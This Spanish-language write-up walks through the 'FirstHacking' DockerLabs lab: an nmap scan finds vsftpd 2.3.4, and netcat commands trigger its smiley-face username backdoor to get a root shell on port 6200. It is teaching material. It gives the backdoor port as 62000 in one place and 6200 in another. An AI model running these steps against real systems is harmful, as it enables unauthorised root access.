

# FirstHacking

Datos de la máquina	
Nombre	FirstHacking
Sistema Operativo	Linux
Dificultad	Muy Fácil
Fecha de Creación	14/06/2024
Autor	El Pingüino de Mario
Plataforma	DockerLabs

## Fase 1. Despliegue y Reconocimiento Inicial

### Despliegue de la máquina

```
sudo bash auto_deploy.sh firsthacking.tar
```

### Verificación de conectividad

```
ping -c 1 172.17.0.2
```

#### Resultado:

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.  
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.117 ms  
  
--- 172.17.0.2 ping statistics ---  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 0.117/0.117/0.117/0.000 ms
```

#### NOTA:

Rango TTL	Sistema Operativo
0-64	Linux/Unix
65-128	Windows

En este caso, TTL = 64 confirma que estamos ante un sistema Linux

## Fase 2: Enumeración de Puertos

### Escaneo rápido de puertos

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
```

#### Desglose del comando:

**sudo nmap** : Ejecuta nmap con privilegios de superusuario  
**-p** : Escanea todos los puertos (1-65535)  
**--open** : Sólo muestra los puertos abiertos  
**-sS** : SYN Scan (sigiloso, no completa el handshake TCP)  
**--min-rate 5000** : Envía mínimo 5,000 paquetes por segundo  
**-vvv** : Máximo nivel de verbosidad  
**-n** : No realiza resoluciones DNS (más rápido)  
**-Pn** : Asume host activo (no envía ping previo)  
**172.17.0.2** : Dirección IP de la máquina

#### Resultado:

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
Service Info: OS: Unix
```

Tenemos el puerto 21 (FTP) abierto, con una versión vsftpd 2.3.4. No se trata de una vulnerabilidad que se explota como un desbordamiento de búfer o adivinando contraseñas, sino de una puerta trasera (backdoor) intencional que alguien añadió al código fuente.

## Fase 3: Explotación/Acceso

### El Mecanismo del Backdoor (vsftpd 2.3.4)

El "exploit" no requiere herramientas complejas. El backdoor está diseñado para activarse cuando recibe una secuencia de caracteres específica en el nombre de usuario.

- 1. El Disparador:** El backdoor se activa si el nombre de usuario que envías termina con la secuencia :) (una carita sonriente)
- 2. La Acción:** Cuando el servidor detecta la secuencia, en lugar de intentar autenticar al usuario, abre una shell (terminal de comandos) en el puerto 62000/TCP

3. **El Acceso:** El atacante (nosotros) simplemente necesitamos conectarnos a ese nuevo puerto para obtener acceso al sistema

Entonces realizamos lo siguiente:

```
nc 172.17.0.2 21
```

### Desglose del comando

- **nc:** Cliente netcat para conectarnos al servidor FTP, ya que solo necesitamos enviar texto.
- **172.17.0.2:** IP objetivo
- **21:** Puerto del servicio FTP

**Resultado:** 220 (vsFTPd 2.3.4)

Una vez tengamos ese mensaje simplemente escribimos:

```
USER usuario:)
```

Cuando nos pida la contraseña añadimos ( 331 Please specify the password. ):

```
PASS test
```

Podemos escribir una contraseña o simplemente cerrar la conexión. El backdoor ya está activo:

```
nc 172.17.0.2 6200
```

Le damos enter y si escribimos:

```
whoami
```

Podemos observar que somos usuarios **root**

**¡Máquina completada!**